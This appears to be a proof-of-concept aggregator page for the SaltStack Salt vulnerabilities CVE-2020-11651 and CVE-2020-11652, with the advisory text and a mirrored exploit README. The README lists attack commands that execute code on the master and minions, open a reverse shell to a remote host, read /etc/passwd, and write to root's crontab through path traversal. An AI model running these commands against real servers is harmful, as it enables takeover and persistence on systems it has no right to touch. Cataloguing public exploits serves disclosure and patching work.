CVE-2020-11652 PoC — SaltStack Salt 路径遍历漏洞

Source

https://github.com/Al1ex/CVE-2020-11652

Associated Vulnerability

Title:SaltStack Salt 路径遍历漏洞 (CVE-2020-11652)
Description:An issue was discovered in SaltStack Salt before 2019.2.4 and 3000 before 3000.2. The salt-master process ClearFuncs class allows access to some methods that improperly sanitize paths. These methods allow arbitrary directory access to authenticated users.

Description

CVE-2020-11652 & CVE-2020-11651

Readme

# SaltStack-Exp
CVE-2020-11651
CVE-2020-11652

#### Exec-Master:
```
python exp.py --exec-choose master --exec-cmd "whoami"
```
#### Exec-Minions:
```
python exp.py --exec-choose minions --exec-cmd "whoami"
```
#### GetShell:
```
python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444
```

#### ReadFile:
```
python exp.py --read /etc/passwd
```
#### UploadFile:
```
python exp.py --upload-src "/test/root" --upload-dest "../../../../../../../../var/spool/cron/crontabs/root"
```


From :https://github.com/bravery9/SaltStack-Exp

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!